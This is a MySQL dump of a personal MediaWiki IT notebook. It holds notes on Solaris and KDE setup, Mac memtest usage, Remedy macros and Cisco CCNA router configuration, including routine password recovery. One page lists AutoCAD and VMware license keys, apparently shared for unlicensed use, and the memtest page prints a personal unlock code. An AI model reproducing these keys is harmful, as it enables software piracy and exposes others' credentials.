/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mw_templatelinks` (
  `tl_from` int(10) unsigned NOT NULL default '0',
  `tl_namespace` int(11) NOT NULL default '0',
  `tl_title` varchar(255) character set latin1 collate latin1_bin NOT NULL default '',
  UNIQUE KEY `tl_from` (`tl_from`,`tl_namespace`,`tl_title`),
  UNIQUE KEY `tl_namespace` (`tl_namespace`,`tl_title`,`tl_from`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mw_templatelinks`
--

LOCK TABLES `mw_templatelinks` WRITE;
/*!40000 ALTER TABLE `mw_templatelinks` DISABLE KEYS */;
/*!40000 ALTER TABLE `mw_templatelinks` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mw_text`
--

DROP TABLE IF EXISTS `mw_text`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mw_text` (
  `old_id` int(10) unsigned NOT NULL auto_increment,
  `old_text` mediumblob NOT NULL,
  `old_flags` tinyblob NOT NULL,
  PRIMARY KEY  (`old_id`)
) ENGINE=InnoDB AUTO_INCREMENT=1381 DEFAULT CHARSET=latin1 MAX_ROWS=10000000 AVG_ROW_LENGTH=10240;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mw_text`
--

LOCK TABLES `mw_text` WRITE;
/*!40000 ALTER TABLE `mw_text` DISABLE KEYS */;
INSERT INTO `mw_text` VALUES (1,'<big>\'\'\'MediaWiki has been successfully installed.\'\'\'</big>\n\nConsult the [http://meta.wikimedia.org/wiki/Help:Contents User\'s Guide] for information on using the wiki software.\n\n== Getting started ==\n\n* [http://www.mediawiki.org/wiki/Help:Configuration_settings Configuration settings list]\n* [http://www.mediawiki.org/wiki/Help:FAQ MediaWiki FAQ]\n* [http://mail.wikimedia.org/mailman/listinfo/mediawiki-announce MediaWiki release mailing list]','utf-8'),(2,'','utf-8'),(3,'== Installing Solaris on x86 platform ==\n\n\n\n== Adding the KDE Environment ==\n\n\nAfter Solaris is installed with the default Java desktop install KDE as follows:\n\nUse the install CD, select window managers category and select as follows:\n\n\n[[image:KDE_Solaris_install.jpg|frame|center|Figure 3: Solaris Web Start Installer Component Selection Window]]\n\n \n== Integrating KDE as a selectable desktop session ==\n\n\nAfter you have installed all the KDE 3.x files on your system, if you want KDE 3.x integrated into your login screen with other desktop systems like CDE, you also need to execute this script: \n\n /opt/sfw/kde/dtlogin/install-dtlogin\n\nAlso, you need to add /opt/sfw/kde/bin to your PATH environment variable and /opt/sfw/kde/lib to your LD_LIBRARY_PATH environment variable. For example, if you are using c shell as your login shell, you can add the following line to your .cshrc file to add /opt/sfw/kde/bin to your PATH environment variable: \n\nset path = ($path /opt/sfw/kde/bin)\n\nAdd the following line to your .login file to add /opt/sfw/kde/lib to your LD_LIBRARY_PATH environment variable: \n\nsetenv   LD_LIBRARY_PATH ${ LD_LIBRARY_PATH}:/opt/sfw/kde/lib\n\nNow you can reboot your system and wait for the login screen to show up.\n\n\n\n== Upgrading KDE to 3.5.5 ==','utf-8'),(4,'\n== MAGICK TRICKS: ==\n\n\nCmd prompt w/ admin rights:\nrunas /user:localmachinename\\administrator cmd \n\n\nManually register a .dll\nregsvr32 \"<path>\\NameOfFile.extension\"','utf-8'),(5,'== Installing Solaris on x86 platform ==\n\nTo configure installed languages:\n\nHave the install CD in the drive. \n\n#localeadm –h 	#Give help \n\n#localeadm –a nam –d /cdrom/cdrom0\n\nAdds package nam (North America) from directory specified (CDROM)\n\n\nDt Config info\n\n//etc/dt/config is a secondary location\n\n\nKDE 3.4.3 Notes\n\nInstall packages in order per directions\n\nRun the dt login script\n\nBuild the language localization and ensure the four files are in the dt login directory\n\nEnsure en_US-UTF.8 language is installed, or KDE will not show up in dt login screen.\n\n(I did not have to run the runConfigure language localization scripts, once the language files were in the directory and the system language was installed KDE showed up already.)\n\n\nSystem Configuration\n\n#sys-unconfig\n\nAllows you to reconfigure the X and network settings\n\niprb0 is default NIC\n\n\nPath:\n\necho $PATH\n\nFor sh/bash:\nPATH=$PATH:/dir/to/script;export PATH\n\nMay need to add path to directory were you are trying to execute a script in.\n\n\nOwnerships:\n\n\nTo change the mode on a file or directory. I prefer the octal (0-7) format.\n\n r -- read (has value of 4)\n w -- write (has value of 2)\n x -- execute (has value of 1)\n \n rwxrwxrwx chmod 777 filename.\n rw-rw-rw- chmod 666 filename.\n r--r--r-- chmod 444 filename.\n -w--w--w- chmod 020 filename.\n --x--x--x chmod 001 filename.\n --------- chmod 000 filename.\n\nTo make it recursive, use the -R option.\n\ne.g. chmod -R 777 directoryname\n\n\nNetworking:\n\nInterface iprb0\n\nifconfig -l or -a to show all interfaces\n\nJAVA\n\nJAVA_HOME=/usr/java; export JAVA_HOME\n\nResources:\n\nSolariscentral forum\n\n== Adding the KDE Environment ==\n\n\nAfter Solaris is installed with the default Java desktop install KDE as follows:\n\nUse the install CD, select window managers category and select as follows:\n\n\n[[image:KDE_Solaris_install.jpg|frame|center|Figure 3: Solaris Web Start Installer Component Selection Window]]\n\n \n== Integrating KDE as a selectable desktop session ==\n\n\nAfter you have installed all the KDE 3.x files on your system, if you want KDE 3.x integrated into your login screen with other desktop systems like CDE, you also need to execute this script: \n\n /opt/sfw/kde/dtlogin/install-dtlogin\n\nAlso, you need to add /opt/sfw/kde/bin to your PATH environment variable and /opt/sfw/kde/lib to your LD_LIBRARY_PATH environment variable. For example, if you are using c shell as your login shell, you can add the following line to your .cshrc file to add /opt/sfw/kde/bin to your PATH environment variable: \n\nset path = ($path /opt/sfw/kde/bin)\n\nAdd the following line to your .login file to add /opt/sfw/kde/lib to your LD_LIBRARY_PATH environment variable: \n\nsetenv   LD_LIBRARY_PATH ${ LD_LIBRARY_PATH}:/opt/sfw/kde/lib\n\nNow you can reboot your system and wait for the login screen to show up.\n\n\n\n== Upgrading KDE to 3.5.5 ==','utf-8'),(6,'','utf-8'),(7,'[[image:SolarisLogo.jpg|center|frame]]\n\n== Installing Solaris on x86 platform ==\n\nTo configure installed languages:\n\nHave the install CD in the drive. \n\n#localeadm –h 	#Give help \n\n#localeadm –a nam –d /cdrom/cdrom0\n\nAdds package nam (North America) from directory specified (CDROM)\n\n\nDt Config info\n\n//etc/dt/config is a secondary location\n\n\nKDE 3.4.3 Notes\n\nInstall packages in order per directions\n\nRun the dt login script\n\nBuild the language localization and ensure the four files are in the dt login directory\n\nEnsure en_US-UTF.8 language is installed, or KDE will not show up in dt login screen.\n\n(I did not have to run the runConfigure language localization scripts, once the language files were in the directory and the system language was installed KDE showed up already.)\n\n\nSystem Configuration\n\n#sys-unconfig\n\nAllows you to reconfigure the X and network settings\n\niprb0 is default NIC\n\n\nPath:\n\necho $PATH\n\nFor sh/bash:\nPATH=$PATH:/dir/to/script;export PATH\n\nMay need to add path to directory were you are trying to execute a script in.\n\n\nOwnerships:\n\n\nTo change the mode on a file or directory. I prefer the octal (0-7) format.\n\n r -- read (has value of 4)\n w -- write (has value of 2)\n x -- execute (has value of 1)\n \n rwxrwxrwx chmod 777 filename.\n rw-rw-rw- chmod 666 filename.\n r--r--r-- chmod 444 filename.\n -w--w--w- chmod 020 filename.\n --x--x--x chmod 001 filename.\n --------- chmod 000 filename.\n\nTo make it recursive, use the -R option.\n\ne.g. chmod -R 777 directoryname\n\n\nNetworking:\n\nInterface iprb0\n\nifconfig -l or -a to show all interfaces\n\nJAVA\n\nJAVA_HOME=/usr/java; export JAVA_HOME\n\nResources:\n\nSolariscentral forum\n\n== Adding the KDE Environment ==\n\n\nAfter Solaris is installed with the default Java desktop install KDE as follows:\n\nUse the install CD, select window managers category and select as follows:\n\n\n[[image:KDE_Solaris_install.jpg|frame|center|Figure 3: Solaris Web Start Installer Component Selection Window]]\n\n \n== Integrating KDE as a selectable desktop session ==\n\n\nAfter you have installed all the KDE 3.x files on your system, if you want KDE 3.x integrated into your login screen with other desktop systems like CDE, you also need to execute this script: \n\n /opt/sfw/kde/dtlogin/install-dtlogin\n\nAlso, you need to add /opt/sfw/kde/bin to your PATH environment variable and /opt/sfw/kde/lib to your LD_LIBRARY_PATH environment variable. For example, if you are using c shell as your login shell, you can add the following line to your .cshrc file to add /opt/sfw/kde/bin to your PATH environment variable: \n\nset path = ($path /opt/sfw/kde/bin)\n\nAdd the following line to your .login file to add /opt/sfw/kde/lib to your LD_LIBRARY_PATH environment variable: \n\nsetenv   LD_LIBRARY_PATH ${ LD_LIBRARY_PATH}:/opt/sfw/kde/lib\n\nNow you can reboot your system and wait for the login screen to show up.\n\n\n\n== Upgrading KDE to 3.5.5 ==','utf-8'),(8,'== BACKGROUND ==\n\n(Originally written for Verizon Field Services technicians.)\n\nMacs often have memory related issues which can be somewhat challenging to diagnose. The Apple Service Diagnostic software as well as the Apple Hardware Test do not have robust memory checking components. As a result these memory tests are not completely reliable and can give a false pass. Without a hardware DIMM / SODIMM tester we have to rely solely on software utilities. A variety of options and running multiple tests is often helpful.\n\nIf non-Apple supplied memory is used in a system Apple’s standard response is that the 3rd party memory is at fault. This will be there stance whenever non-Apple memory is used. This of course does not mean the memory is bad, but rather that they refuse to support it. This again is a case where having multiple methods of testing is favorable.\n\nThe ASD and AHT tests can be run from their respective diagnostic CDs.\n\nIn addition a freeware utility can be run while logged into a Mac in single user mode that will allow testing of the full system memory.\n\nThe homepage for this utility can be found here:\n\nhttp://www.memtestosx.org/\n\n\n\n== INSTALLING: ==\n\n\nThe utility itself is attached here in .zip format. When it is extracted, the following instructions apply:\n\nSimply double-click the memtest disk image and when prompted for the unlock code, enter the following character sequence:\n\nr8j43s03t5vh\n\nPlease note that your download key is CASE SENSITIVE and must be entered exactly as shown. Please print this email for your records. Thanks for supporting the MemtestOSX project!\n\nTony Scaminaci\n\nINSTALLATION (Excerpted from readme)\n\nMemtest uses the standard OS X package installer. Simply double-click on the package file and install it just as you would any other application. The installer will create the \"memtest\" folder in your boot volume\'s Applications folder. Due to some issues with Apple\'s Installer program, I strongly recommend choosing the default install location (current MacOS X boot volume). Note that there are no other components installed - the memtest folder is the sole product of the installer so you can always move the memtest folder elsewhere after installation if desired. \n\n\n\n== INSTRUCTIONS: ==\n\n\nFull instructions can be found in the installation directory (default is boot volume /applications), however the following is excerpted here as it is highly relevant to the use of this utility:\n\n<blockquote><div>\nRUNNING MEMTEST\nTony Scaminaci\n\nMemtest is best run in OS X\'s single-user mode. In this mode, nearly all of the installed ram can be tested whereas under the full OS, a considerable portion of memory is tied up by OS X processes and the Quartz window manager. This is especially true in MacOS releases later than 10.3.5. Running memtest in single-user mode maximizes the effectiveness of the memory test.\n\nTo boot into single-user mode, hold down the \"Command\" and \"S\" keys during startup. You will be automatically logged in as the user root to a minimal command line environment. Assuming that the memtest folder resides in your Applications folder, a typical invocation of memtest would be the following:\n\n>  /Applications/memtest/memtest all 3 -L <RETURN>\n\nThis will run three passes of the test suite, testing all available free memory. The \"-L\" switch instructs memtest to save the transcript of the run to a file named \"memtest.log\". The log file is written to the directory from which you invoked memtest - this is known as the current working directory. Normally, when a terminal window is launched, the working directory is set to /Users/login_name where login_name is the account name you logged in with. Note that when running in single-user mode, you are automatically logged in as the \"root\" user so the default current working directory is /private/var/root.\n\nAlternatively, you could cd  into the memtest folder and run the program using the command\n\n>  ./memtest all 3 -L <RETURN> 	\n\nI recommend running at least 3 to 5 passes to obtain the best test coverage of marginal or intermittently failing DIMMs.\n\nTo test less than all of the available free memory, replace the all option with the number of megabytes to test (e.g. 10, 100, 512, etc). The number entered is assumed to be in MB. For example, the command,\n\n>  /Applications/memtest/memtest 1150 3 -L <RETURN>\n\nwill test 1150 MB of the installed memory assuming this much is available for testing.\n\nMemtest can also be run from a terminal window in a fully-booted OS X environment (multiuser mode). However, considerably less memory will be free for testing making the results less reliable. Double clicking the memtest icon in the Finder will launch the program with a set of defaults designed to test all available memory in a single pass. Memtest can be immediately terminated at any time by typing the Ctrl-C key combination. This is the standard unix command for quitting programs run from the command line. Note that this key combo also works when memtest is launched from the Finder as long as the key combo is pressed while the terminal window is the front most window.</div></blockquote>','utf-8'),(9,'This procedure provides instructions for on how to record a Macro (with or without using variables).  A Macro is a term used to describe the recording of key strokes, clicks or data in order to save in a reusable search form without re-entering the information. \n\n1.	Logon to the Impact/Remedy User Tool.  This is located on most Desktops.\n\n2.	Determine which form you want to record the macro against.\n\n3.	From the Menu Bar select File then Open.  Select the Form you are recording the macro against and click on Search.\n\n4.	From the Menu Bar, select Edit then Clear All.  This is to ensure that there are no default values that will be recorded as part of the macro.\n\na.	From the Menu Bar select View then ensure Macro Bar  is check off.  When the Macro Bar is displayed you will see a Red Dot icon, a Gray Square icon and a drop down box in your Remedy tool bar.  To begin recording your macro, Click the Red dot.\n\n5.	To create the search criteria that will be a part of the macro, you can do one of the following;\n\na.	Type or select the search criteria in each field that you want to pull data on.\ni.	Example: Select the “Assigned to Dept” you wish to search for from the drop down list.\nii.	Example:  Type your Remedy ID into the “Assigned to Tech” field to pull records assigned to you.\n\nb.	Click the Advanced button located in the upper right corner of the screen and the Advanced Search Bar will be displayed on the bottom of the screen. If you use the Advanced Search Bar, you must click on the labels for each field and the label will be placed on the bar to build the search string.  This will allow you to search for multiple entries in the same field.\ni.	Example:  \'Assigned to Dept\' = \"TELECOM-CALIF/IL/TX\"  AND \'Assigned to Dept\' = \"TELECOM-NEW YORK\"\n\n6.	Once you have build your search argument, Click the search button in the upper right corner or the screen.  \n\n7.	When the results list is displayed,  to stop recording the Macro, Click the green square on the Macro Bar.  \n\n8.	You will now be prompted to name your macro.  In the Macro Name field, enter the name for your macro.  You can enter up to 30 characters.\n\n9.	In the Help Text field, enter a description of the macro and its functions if you would like to easily identify the function of the macro.  \n\n10.	Click Save to end the recording session and save the macro.  If you want to exit the recording without saving the macro, Click Cancel.','utf-8'),(10,'\n== Sago Linux Notes ==\n\n\n\n== TTY Autologins ==\n\nFreeBSD:\n\nedit /etc/ttys\n\nChange the desired line to and \'autologin\' like:\n\n/dev/ttys7          autologin \n\n\n\nCentOS:\n\nThe supportd service can be installed: yum install supportd\n\nsettings are saved in:\n\n\n\nDebian:','utf-8'),(11,'<big>\'\'\'Welcome to The Lyceum.\'\'\'</big>\n\nThis is a Wiki I\'ve put together essentially as an on-line notebook, to allow me a central repository of notes accumulated in work, through research and to save myself the headache of trying to find the post-a-note, bit of scrap papper or other useless medium I may have written something down on. And I can conveniently access it too, so bonus.\n\nI\'ll be adding and copying information here, focused primarily on IT related fields - Linux, Solaris, Cisco Networking, etc. and likely branching it off into other more esoteric areas as well.\n\nIf you have stumbled upon it - welcome.\n\nCheers,\n\n\n\n\n\n\n\nConsult the [http://meta.wikimedia.org/wiki/Help:Contents User\'s Guide] for information on using the wiki software.\n\n== Getting started ==\n\n* [http://www.mediawiki.org/wiki/Help:Configuration_settings Configuration settings list]\n* [http://www.mediawiki.org/wiki/Help:FAQ MediaWiki FAQ]\n* [http://mail.wikimedia.org/mailman/listinfo/mediawiki-announce MediaWiki release mailing list]','utf-8'),(12,'== Software Keys ==\n\n\'\'\'Autocad:\'\'\'\nAutocad 2000 / 2003 and other Autodesk products master key:\n\n 400-12345678T4ED6P\n 339-25020310\n\n\'\'\'VM-Ware:\'\'\'\n\nWindows:\n\n 99N60-Y6CDP-26LEL-40HLJ\n 99H4M-YDGF2-24LEK-40HTX\n 9CHF4-Y4F62-2DPG6-42Q1H\n 99NFM-Y6AFL-24376-42601\n 930D1-YFC4L-2FLG7-40KAD\n\nLinux:\n\n 9AHDX-YF320-196A6-41598\n 9ANF9-YFQ8J-13326-41430','utf-8'),(13,'[[image:SolarisLogo.jpg|center|frame]]\n\n== Installing Solaris on x86 platform ==\n\nTo configure installed languages:\n\nHave the install CD in the drive. \n\n#localeadm –h 	#Give help \n\n#localeadm –a nam –d /cdrom/cdrom0\n\nAdds package nam (North America) from directory specified (CDROM)\n\n\nDt Config info\n\n//etc/dt/config is a secondary location\n\n\nKDE 3.4.3 Notes\n\nInstall packages in order per directions\n\nRun the dt login script\n\nBuild the language localization and ensure the four files are in the dt login directory\n\nEnsure en_US-UTF.8 language is installed, or KDE will not show up in dt login screen.\n\n(I did not have to run the runConfigure language localization scripts, once the language files were in the directory and the system language was installed KDE showed up already.)\n\n\nSystem Configuration\n\n#sys-unconfig\n\nAllows you to reconfigure the X and network settings\n\niprb0 is default NIC\n\n\nPath:\n\necho $PATH\n\nFor sh/bash:\nPATH=$PATH:/dir/to/script;export PATH\n\nMay need to add path to directory were you are trying to execute a script in.\n\n\nOwnerships:\n\n\nTo change the mode on a file or directory. I prefer the octal (0-7) format.\n\n r -- read (has value of 4)\n w -- write (has value of 2)\n x -- execute (has value of 1)\n \n rwxrwxrwx chmod 777 filename.\n rw-rw-rw- chmod 666 filename.\n r--r--r-- chmod 444 filename.\n -w--w--w- chmod 020 filename.\n --x--x--x chmod 001 filename.\n --------- chmod 000 filename.\n\nTo make it recursive, use the -R option.\n\ne.g. chmod -R 777 directoryname\n\n\nNetworking:\n\nInterface iprb0\n\nifconfig -l or -a to show all interfaces\n\nJAVA\n\nJAVA_HOME=/usr/java; export JAVA_HOME\n\nResources:\n\nSolariscentral forum\n\n== Network Config ==\n\nhttp://solaris-x86.org/documents/tutorials/network.mhtml\n\nNote: The default shell in the CDE is sh - this will cause keyboard mapping issues with arrow keys, esc key etc. in vi and whatnot. Change shell to bash with /bin/bash instead.\n\n\n\n== Adding the KDE Environment ==\n\n\nAfter Solaris is installed with the default Java desktop install KDE as follows:\n\nUse the install CD, select window managers category and select as follows:\n\n\n[[image:KDE_Solaris_install.jpg|frame|center|Figure 3: Solaris Web Start Installer Component Selection Window]]\n\n== Integrating KDE as a selectable desktop session ==\n\n\nAfter you have installed all the KDE 3.x files on your system, if you want KDE 3.x integrated into your login screen with other desktop systems like CDE, you also need to execute this script: \n\n /opt/sfw/kde/dtlogin/install-dtlogin\n\nAlso, you need to add /opt/sfw/kde/bin to your PATH environment variable and /opt/sfw/kde/lib to your LD_LIBRARY_PATH environment variable. For example, if you are using c shell as your login shell, you can add the following line to your .cshrc file to add /opt/sfw/kde/bin to your PATH environment variable: \n\nset path = ($path /opt/sfw/kde/bin)\n\nAdd the following line to your .login file to add /opt/sfw/kde/lib to your LD_LIBRARY_PATH environment variable: \n\nsetenv   LD_LIBRARY_PATH ${ LD_LIBRARY_PATH}:/opt/sfw/kde/lib\n\nNow you can reboot your system and wait for the login screen to show up.\n\n\n\n== Upgrading KDE to 3.5.5 ==','utf-8'),(14,'\n\n\n== CCNA 1 ==\n\nCCNA 1 \n\n\'\'\'Rewiring your POD\'\'\'\n\nErase startup-config		clear config in NVRAM\nReload\n\nConfig t\nHostname RouterB\n\nWr				to save\n\n\'\'\'Password Recovery\'\'\'\n\nConfig register 0x2102	default value\n\nBits 0,1,2,3 Boot filed (2101 boot IOS ROM, 2102 full IOS (flash))\nBit 6 Ignore NVRAM\n\n0x2142			ignore NVRAM\n\nCtrl – break during post to get to ROM MON\n\n>o				Displays current config register\n\n>o/r 0x2142			Set to 2142 hex\n\n>I				Initialize\n\nOnce in IOS:\n\nCopy star run			copies NVRAM into running config\n\nConfig t\nConfig-register 0x2101\n\nSh run				shows current passwords\n\nChange password(s)\n\nCopy run star			save modified settings to NVRAM\n\nSh ver				verify config register is 0x2102 now\n\nPower off and on (or reload)\n\n\n\'\'\'Initial Router Config\'\'\'\n\nFive passwords:\n\n1.Virtual Terminal\nSh line to view line status or sh session to show current telnet session\n\nLine vty 0 4\nLogin\nPassword < >\n\n2.Console Password\n\nLine con 0\n<as above>\n\n3.Auxiliary password\n\nLine aux 0\n<as above>\n\n4.Privileged mode – level 15 commands\n\na.Enable password < >  Type 7 – weak password\nb.Enable secret <  >	MD5 \n\n5.Encrypt all passwords:\n\nService password-encrypt\n\n\n\'\'\'Global Config:\'\'\'\n\nEnable\nConfig t\nHostname RouterB\nNo ip domain-lookup	(stops IOS searching for a DNS server in case of typos)\nNo exec-timeout (disable telent time out period)\n\n\n\'\'\'Interface config:\'\'\'\n\n(config-if) int s0/0 or int s 0\nIp address 172.16.20.2 255.255.255.0\nBandwidth 56\n\nInt s 0/1\nIp address 172.16.40.1 255.255.255.0\nBandwidth 56\nNo shutdown\n\nShow controllers serial 0/0 to display DCE/DTE status\n\n\'\'\'Clock rate setting:\'\'\'\n\nInt s0/0\nClock rate 56000\nInt s0/1\nClock rate 56000\n\nSh run (review total config)\n\nSh int (status of interfaces)\n\nSh ip int brief (brief status)\n\nNo shutdown to bring an interface administratively up. If an interface is up but the line protocol is down there is a problem with the physical connection of clocking on either the DCE OR DTE side – it could be the other router’s settings.\n\n\'\'\'Clock setting:\'\'\'\n\nClock set 21:30:00 Jan 18 2007\nSh clock\n\n\'\'\'TFTP’ing between routers:\'\'\'\n\nAddress the e0 ports so they are on same lan\nVerify connectivity with ping\nOn router A: show flash (highlight & copy the IOS filename)\nOn router A: tftp-server flash: {IOS filename}\nOn client router(s): copy tftp flash\nWhen prompted, enter IOS filename\n\n\n\'\'\'Configuring DHCP\'\'\'\n\nConfig t\nService dhcp\nIp dhcp pool 10-net (10-net is whatever name you wish)\nNetwork 172.16.0.0 255.255.255.0\nRouter(dhcp-config)# default-router 172.16.x.1\nDns-server 172.16.x.3\nNetbios-name-server 72.16.x.4\nDomain-name xyz.net\nExit\n\nIp dhcp excluded-address 172.16.x.1 172.16.x.10\n(Will cause first ip to be 172.16.x.11\n\n\'\'\'Stopping / starting dhcp:\'\'\'\n\nNo service dhcp\nService dhcp (restarts)\n\n\n\'\'\'Address Resolution Protocol\'\'\'\n\nArp –g displays cache\nArp –s assigns static entry\nArp –d removes entry\n\n\n\'\'\'IP MULTICASTING:\'\'\'\n\nhttp://host50.ipowerweb.com/~netflow/livecaster.exe\nsong.mp3 should be in livecaster folder\nalso freeamp.exe and \n\nVerify you can ping the multicast server\n\nUser network spy and view packets, look for the multicast\n\nIn freeamp, enter in the URL box:\nRtp://<multicast ip address>:port number\n\n\n== CCNA 2 ==\n\n\nCCNA 2 NOTES:\n\n\n\'\'\'TFTP:\'\'\'\n\nsh flash\n\nTells filename, size, etc. \n\ncopy flash {run} tftp\n\nBooting from TFTP:\n\nRouter(config)#boot system tftp <IOS Filename> <IP address of TFTP server>\n\n\'\'\'CDP:\'\'\'\n\nRouterB(config)# int s0\nRouterB(Config-if)#cdp enabled\nRouterB(config-if)#int s1\nRouterB(Config-if)#cdp enabled\n\nsh cdp int #shows status of CDP advertisements on interfaces.\n\nsh cdp neighbors\n\nsh cdp neighbors detail\n\nrouter odr #enables ODR on hub router\n\n\'\'\'Configuring VTY Usernames & PW\'\'\'\n\nrouterB(config)#username admin privilege 15 password guru\n\nConfigure VTY to use a local database rather than password prompt:\n\nRouterB(config)# line vty 0 4\nRouterB(config-line)#no password\nRouterB(config-line)#login local\n\n\'\'\'Creating a new user level and defining access:\'\'\'\n\nRouterB(config)#username support privilage 7 password novice\nRouterB(config)#privilege exec level 7 show star\nRouterB(config)#privilege exec level 7 configure terminal\nRouterB(config)#privilege configure level 7 interface \nRouterB(config)#privilege interface level 7 no shut\n\nshow privileges #show your current privilege level\n\nsh users 	#shows connected users and lines\n\nclear <line #>	#bumps that line\n\nctrl-shift-6 +x default escape sequence \n\nRouterB(config-line)#login\nRouterB(config-line)#escape-sequence 27      #sets escape seq. to ASCII 27 (Esc)\n\n\n\'\'\'RIP:\'\'\'\n\nRouterB(config)#router rip\nRouterB(config-router)#version 2 	#uses ver. 2, subnetting\nRouterB(config-router)#network 172.16.0.0\n\nsh ip route		# views routing tables\n\nsh ip protocol	# view info on RIP timers\n\ntracert		# view what route to dest is active\n\n\n\'\'\'Static Routes:\'\'\'\n\nAdd static routes for RouterB\n\nip route 172.16.10.1 255.255.255.0 172.16.20.1\nip route 172.16.50.1 255.255.255.0 172.16.40.2\n\nno ip route 172.16.10.1 255.255.255.0  # to remove route\n\n\nfloating static route:\n\nRouterB(config)#ip route 172.16.50.1 255.255.255.0 172.16.50.1 255.255.255.0 130\n\n\n\'\'\'Host Tables:\'\'\'\n\nRouterC(config)#ip host ra 172.16.10.1\nRouterC(config)#ip host rc 172.16.50.1\n\nsh hosts\n\nip name-server <ip address>		#configures DNS server IP\nno ip domain-lookup			#disables DNS lookup \n\n\n\'\'\'Alias:\'\'\'\n\nalias exec		#privileged mode\nalias configure	#Global Config mode\nalias interfaces	#interfece config mode\n\nsh aliases\n\nMisc:\n\nsh run | int s0	#greps for that int 		\nsh run int <int>	#shows running config for that int \n\n\n\'\'\'ACLs:\'\'\'\n\n(In real world they don\'t work well when applied to eth in or serial out interfaces.)\n\nExamples:\n\naccess-list 5 permit 172.16.30.1		#defines the rule\nline vty 0 4 					#selects interface \naccess-list 5 in				#set ACL and direction\n\nsh access list	#view ACL parameters\n\naccess-group needs to have an “ip” preface in the command:\nip access-group in\n\nno ip-access list 5		#removes list (if in interface mode only remove it from that interface and not globally.)\n\n\n\n== CCNA 3 ==','utf-8'),(15,'','utf-8'),(16,'[[image:CiscoLogo.jpeg|frame|center]]\n\n== CCNA 1 ==\n\nCCNA 1 \n\n\'\'\'Rewiring your POD\'\'\'\n\nErase startup-config		clear config in NVRAM\nReload\n\nConfig t\nHostname RouterB\n\nWr				to save\n\n\'\'\'Password Recovery\'\'\'\n\nConfig register 0x2102	default value\n\nBits 0,1,2,3 Boot filed (2101 boot IOS ROM, 2102 full IOS (flash))\nBit 6 Ignore NVRAM\n\n0x2142			ignore NVRAM\n\nCtrl – break during post to get to ROM MON\n\n>o				Displays current config register\n\n>o/r 0x2142			Set to 2142 hex\n\n>I				Initialize\n\nOnce in IOS:\n\nCopy star run			copies NVRAM into running config\n\nConfig t\nConfig-register 0x2101\n\nSh run				shows current passwords\n\nChange password(s)\n\nCopy run star			save modified settings to NVRAM\n\nSh ver				verify config register is 0x2102 now\n\nPower off and on (or reload)\n\n\n\'\'\'Initial Router Config\'\'\'\n\nFive passwords:\n\n1.Virtual Terminal\nSh line to view line status or sh session to show current telnet session\n\nLine vty 0 4\nLogin\nPassword < >\n\n2.Console Password\n\nLine con 0\n<as above>\n\n3.Auxiliary password\n\nLine aux 0\n<as above>\n\n4.Privileged mode – level 15 commands\n\na.Enable password < >  Type 7 – weak password\nb.Enable secret <  >	MD5 \n\n5.Encrypt all passwords:\n\nService password-encrypt\n\n\n\'\'\'Global Config:\'\'\'\n\nEnable\nConfig t\nHostname RouterB\nNo ip domain-lookup	(stops IOS searching for a DNS server in case of typos)\nNo exec-timeout (disable telent time out period)\n\n\n\'\'\'Interface config:\'\'\'\n\n(config-if) int s0/0 or int s 0\nIp address 172.16.20.2 255.255.255.0\nBandwidth 56\n\nInt s 0/1\nIp address 172.16.40.1 255.255.255.0\nBandwidth 56\nNo shutdown\n\nShow controllers serial 0/0 to display DCE/DTE status\n\n\'\'\'Clock rate setting:\'\'\'\n\nInt s0/0\nClock rate 56000\nInt s0/1\nClock rate 56000\n\nSh run (review total config)\n\nSh int (status of interfaces)\n\nSh ip int brief (brief status)\n\nNo shutdown to bring an interface administratively up. If an interface is up but the line protocol is down there is a problem with the physical connection of clocking on either the DCE OR DTE side – it could be the other router’s settings.\n\n\'\'\'Clock setting:\'\'\'\n\nClock set 21:30:00 Jan 18 2007\nSh clock\n\n\'\'\'TFTP’ing between routers:\'\'\'\n\nAddress the e0 ports so they are on same lan\nVerify connectivity with ping\nOn router A: show flash (highlight & copy the IOS filename)\nOn router A: tftp-server flash: {IOS filename}\nOn client router(s): copy tftp flash\nWhen prompted, enter IOS filename\n\n\n\'\'\'Configuring DHCP\'\'\'\n\nConfig t\nService dhcp\nIp dhcp pool 10-net (10-net is whatever name you wish)\nNetwork 172.16.0.0 255.255.255.0\nRouter(dhcp-config)# default-router 172.16.x.1\nDns-server 172.16.x.3\nNetbios-name-server 72.16.x.4\nDomain-name xyz.net\nExit\n\nIp dhcp excluded-address 172.16.x.1 172.16.x.10\n(Will cause first ip to be 172.16.x.11\n\n\'\'\'Stopping / starting dhcp:\'\'\'\n\nNo service dhcp\nService dhcp (restarts)\n\n\n\'\'\'Address Resolution Protocol\'\'\'\n\nArp –g displays cache\nArp –s assigns static entry\nArp –d removes entry\n\n\n\'\'\'IP MULTICASTING:\'\'\'\n\nhttp://host50.ipowerweb.com/~netflow/livecaster.exe\nsong.mp3 should be in livecaster folder\nalso freeamp.exe and \n\nVerify you can ping the multicast server\n\nUser network spy and view packets, look for the multicast\n\nIn freeamp, enter in the URL box:\nRtp://<multicast ip address>:port number\n\n== CCNA 2 ==\n\n\nCCNA 2 NOTES:\n\n\n\'\'\'TFTP:\'\'\'\n\nsh flash\n\nTells filename, size, etc. \n\ncopy flash {run} tftp\n\nBooting from TFTP:\n\nRouter(config)#boot system tftp <IOS Filename> <IP address of TFTP server>\n\n\'\'\'CDP:\'\'\'\n\nRouterB(config)# int s0\nRouterB(Config-if)#cdp enabled\nRouterB(config-if)#int s1\nRouterB(Config-if)#cdp enabled\n\nsh cdp int #shows status of CDP advertisements on interfaces.\n\nsh cdp neighbors\n\nsh cdp neighbors detail\n\nrouter odr #enables ODR on hub router\n\n\'\'\'Configuring VTY Usernames & PW\'\'\'\n\nrouterB(config)#username admin privilege 15 password guru\n\nConfigure VTY to use a local database rather than password prompt:\n\nRouterB(config)# line vty 0 4\nRouterB(config-line)#no password\nRouterB(config-line)#login local\n\n\'\'\'Creating a new user level and defining access:\'\'\'\n\nRouterB(config)#username support privilage 7 password novice\nRouterB(config)#privilege exec level 7 show star\nRouterB(config)#privilege exec level 7 configure terminal\nRouterB(config)#privilege configure level 7 interface \nRouterB(config)#privilege 